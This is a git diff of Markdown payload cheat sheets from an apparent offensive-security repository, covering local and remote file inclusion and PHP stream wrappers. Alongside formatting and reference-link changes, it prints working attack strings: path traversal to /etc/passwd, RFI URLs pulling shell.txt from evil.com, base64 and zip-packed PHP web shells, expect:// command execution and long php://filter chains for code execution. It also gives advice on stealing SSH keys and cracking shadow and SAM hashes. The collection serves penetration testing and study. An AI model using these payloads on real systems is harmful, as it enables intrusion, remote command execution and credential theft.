 Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
 
-
 ### Linux version
 
 Extract `/etc/shadow` files.
@@ -305,11 +293,11 @@ Then crack the hashes inside in order to login via SSH on the machine.
 Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
 If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
 
-
 ## References
 
-* [LFI2RCE via PHP Filters - HackTricks - 19/07/2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
+- [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - September 2011](https://web.archive.org/web/20170406225317/https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
-* [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
+- [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://web.archive.org/web/20220819000915/https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
-* [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
+- [Local file inclusion tricks - Johan Adriaans - August 4, 2007](https://web.archive.org/web/20250403080651/http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
-* [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
+- [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://web.archive.org/web/20110429042455/http://gynvael.coldwind.pl:80/?id=376)
-* [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
+- [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://web.archive.org/web/20250604035904/https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
+- [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)

File Inclusion/README.md

@@ -18,15 +18,13 @@
 - [Labs](#labs)
 - [References](#references)
 
-
 ## Tools
 
-* [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
+- [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
-* [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
+- [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
-* [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
+- [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
-* [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
+- [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
-* [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
+- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
-
 
 ## Local File Inclusion
 
@@ -47,8 +45,6 @@ In the following examples we include the `/etc/passwd` file, check the `Director
 http://example.com/index.php?page=../../../etc/passwd
 ```
 
-
-
 ### Null Byte
 
 :warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
@@ -63,7 +59,6 @@ http://example.com/index.php?page=../../../etc/passwd%00
 {{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
 ```
 
-
 ### Double Encoding
 
 ```powershell
@@ -71,7 +66,6 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
 
-
 ### UTF-8 Encoding
 
 ```powershell
@@ -98,7 +92,6 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
 http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
 ```
 
-
 ## Remote File Inclusion
 
 > Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
@@ -109,7 +102,6 @@ Remote File Inclusion doesn't work anymore on a default configuration since `all
 allow_url_include = On
 ```
 
-
 Most of the filter bypasses from LFI section can be reused for RFI.
 
 ```powershell
@@ -122,14 +114,12 @@ http://example.com/index.php?page=http://evil.com/shell.txt
 http://example.com/index.php?page=http://evil.com/shell.txt%00
 ```
 
-
 ### Double Encoding
 
 ```powershell
 http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
 ```
 
-
 ### Bypass allow_url_include
 
 When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still possible to include a remote file on Windows box using the `smb` protocol.
@@ -138,20 +128,18 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos
 2. Write a PHP code inside a file : `shell.php`
 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
 
-
 ## Labs
 
-* [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
+- [Root Me - Local File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion)
-* [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
+- [Root Me - Local File Inclusion - Double encoding](https://www.root-me.org/en/Challenges/Web-Server/Local-File-Inclusion-Double-encoding)
-* [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
+- [Root Me - Remote File Inclusion](https://www.root-me.org/en/Challenges/Web-Server/Remote-File-Inclusion)
-* [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
+- [Root Me - PHP - Filters](https://www.root-me.org/en/Challenges/Web-Server/PHP-Filters)
-
 
 ## References
 
-* [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
+- [CVV #1: Local File Inclusion - SI9INT - Jun 20, 2018](https://web.archive.org/web/20200724150218/https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
-* [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
+- [Exploiting Remote File Inclusion (RFI) in PHP application and bypassing remote URL inclusion restriction - Mannu Linux - 2019-05-12](https://web.archive.org/web/20260220172333/https://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html)
-* [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
+- [Is PHP vulnerable and under what conditions? - April 13, 2015 - Andreas Venieris](https://web.archive.org/web/20250209181954/http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
-* [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://highon.coffee/blog/lfi-cheat-sheet/)
+- [LFI Cheat Sheet - @Arr0way - 24 Apr 2016](https://web.archive.org/web/20180121083456/https://highon.coffee/blog/lfi-cheat-sheet/)
-* [Testing for Local File Inclusion - OWASP - 25 June 2017](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
+- [Testing for Local File Inclusion - OWASP - 25 June 2017](https://web.archive.org/web/20131021005706/https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
-* [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)
+- [Turning LFI into RFI - Grayson Christopher - 2017-08-14](https://web.archive.org/web/20170815004721/https://l.avala.mp/?p=241)

File Inclusion/Wrappers.md

@@ -13,9 +13,10 @@ A wrapper in the context of file inclusion vulnerabilities refers to the protoco
     - [PHAR Archive Structure](#phar-archive-structure)
     - [PHAR Deserialization](#phar-deserialization)
 - [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)
+    - [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)
+    - [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)
 - [References](#references)
 
-
 ## Wrapper php://filter
 
 The part "`php://filter`" is case insensitive
@@ -26,7 +27,6 @@ The part "`php://filter`" is case insensitive
 | `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16  |
 | `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |
 
-
 ```powershell
 http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
 http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
@@ -50,16 +50,18 @@ NOTE: Wrappers can be chained multiple times using `|` or `/`:
 curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php
 ```
 
-Also there is a way to turn the `php://filter` into a full RCE. 
+Also there is a way to turn the `php://filter` into a full RCE.
+
+- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
 
-* [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain
   ```powershell
   $ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
   [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
   php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
   ```
 
-* [LFI2RCE.py](./LFI2RCE.py) to generate a custom payload.
+- [LFI2RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Files/LFI2RCE.py) to generate a custom payload.
+
   ```powershell
   # vulnerable file: index.php
   # vulnerable parameter: file
@@ -68,7 +70,6 @@ Also there is a way to turn the `php://filter` into a full RCE.
   curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"
   ```
 
-
 ## Wrapper data://
 
 The payload encoded in base64 is "`<?php system($_GET['cmd']);echo 'Shell done !'; ?>`".
@@ -79,7 +80,6 @@ http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbW
 
 Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
 
-
 ## Wrapper expect://
 
 When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the `expect://` wrapper can invoke shell commands as part of its input.
@@ -89,7 +89,6 @@ http://example.com/index.php?page=expect://id
 http://example.com/index.php?page=expect://ls
 ```
 
-
 ## Wrapper input://
 
 Specify your payload in the POST parameters, this can be done with a simple `curl` command.
@@ -106,15 +105,20 @@ Alternatively, Kadimus has a module to automate this attack.
 
 ## Wrapper zip://
 
-1. Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
+- Create an evil payload: `echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;`
-2. Zip the file
+- Zip the file
+
   ```python
   zip payload.zip payload.php;
   mv payload.zip shell.jpg;
   rm payload.php
   ```
-3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php
 
+- Upload the archive and access the file using the wrappers:
+
+  ```ps1
+  http://example.com/index.php?page=zip://shell.jpg%23payload.php
+  ```
 
 ## Wrapper phar://
 
@@ -122,7 +126,7 @@ Alternatively, Kadimus has a module to automate this attack.
 
 PHAR files work like ZIP files, when you can use the `phar://` to access files stored inside them.
 
-1. Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
+- Create a phar archive containing a backdoor file: `php --define phar.readonly=0 archive.php`
 
   ```php
   <?php
@@ -134,12 +138,11 @@ PHAR files work like ZIP files, when you can use the `phar://` to access files s
   ?>
   ```
 
-2. Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
+- Use the `phar://` wrapper: `curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt`
-
 
 ### PHAR deserialization
 
-:warning: This technique doesn't work on PHP 8+, the deserialization has been removed. 
+:warning: This technique doesn't work on PHP 8+, the deserialization has been removed.
 
 If a file operation is now performed on our existing phar file via the `phar://` wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: `include`, `file_get_contents`, `file_put_contents`, `copy`, `file_exists`, `is_executable`, `is_file`, `is_dir`, `is_link`, `is_writable`, `fileperms`, `fileinode`, `filesize`, `fileowner`, `filegroup`, `fileatime`, `filemtime`, `filectime`, `filetype`, `getimagesize`, `exif_read_data`, `stat`, `lstat`, `touch`, `md5_file`, etc.
 
@@ -195,7 +198,6 @@ NOTE: you can use the `$phar->setStub()` to add the magic bytes of JPG file: `\x
 $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
 ```
 
-
 ## Wrapper convert.iconv:// and dechunk://
 
 ### Leak file content from error-based oracle
@@ -204,12 +206,12 @@ $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
 - `dechunk://`: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9
 
 The goal of this exploitation is to leak the content of a file, one character at a time, based on the [DownUnderCTF](https://github.com/DownUnderCTF/Challenges_2022_Public/blob/main/web/minimal-php/solve/solution.py) writeup.
- 
+
 **Requirements**:
 
 - Backend must not use `file_exists` or `is_file`.
-- Vulnerable parameter should be in a `POST` request. 
+- Vulnerable parameter should be in a `POST` request.
-  - You can't leak more than 135 characters in a GET request due to the size limit
+    - You can't leak more than 135 characters in a GET request due to the size limit
 
 The exploit chain is based on PHP filters: `iconv` and `dechunk`:
 
@@ -217,7 +219,6 @@ The exploit chain is based on PHP filters: `iconv` and `dechunk`:
 2. Use the `dechunk` filter to determine the first character of the file, based on the previous error.
 3. Use the `iconv` filter again with encodings having different bytes ordering to swap remaining characters with the first one.
 
-
 Exploit using [synacktiv/php_filter_chains_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit), the script will use either the `HTTP status code: 500` or the time as an error-based oracle to determine the character.
 
 ```ps1
@@ -230,7 +231,7 @@ $ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/tes
 
 ### Leak file content inside a custom format output
 
-* [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
+- [ambionics/wrapwrap](https://github.com/ambionics/wrapwrap) - Generates a `php://filter` chain that adds a prefix and a suffix to the contents of a file.
 
 To obtain the contents of some file, we would like to have: `{"message":"<file contents>"}`.
 
@@ -250,15 +251,25 @@ This can be used against vulnerable code like the following.
 ?>
 ```
 
+### Leak file content using blind file read primitive
+
+- [ambionics/lightyear](https://github.com/ambionics/lightyear)
+
+```ps1
+code remote.py # edit Remote.oracle
+./lightyear.py test # test that your implementation works
+./lightyear.py /etc/passwd # dump a file!
+```
 
 ## References
 
-* [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
+- [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
-* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
+- [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - May 27, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
-* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
+- [Introducing lightyear: a new way to dump PHP files - Charles Fol - November 4, 2024](https://web.archive.org/web/20250809094219/https://www.ambionics.io/blog/lightyear-file-dump)
-* [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - Aug 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
+- [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - December 11, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
-* [New PHP Exploitation Technique - Dr. Johannes Dahse - 14 Aug 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
+- [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - August 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
-* [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - 14 June 2024](https://youtu.be/dqKFHjcK9hM)
+- [New PHP Exploitation Technique - Dr. Johannes Dahse - August 14, 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
-* [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
+- [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - June 14, 2024](https://youtu.be/dqKFHjcK9hM)
-* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
+- [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://web.archive.org/web/20260228090126/https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
-* [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - Dec 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)
+- [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - October 18, 2022](https://web.archive.org/web/20260212042712/https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
+- [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - December 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)

Google Web Toolkit/README.md

@@ -2,54 +2,63 @@
 
 > Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
 
-
 ## Summary
 
 * [Tools](#tools)
 * [Methodology](#methodology)
 * [References](#references)
 
-
 ## Tools
 
-* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications. 
+* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
-* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications. 
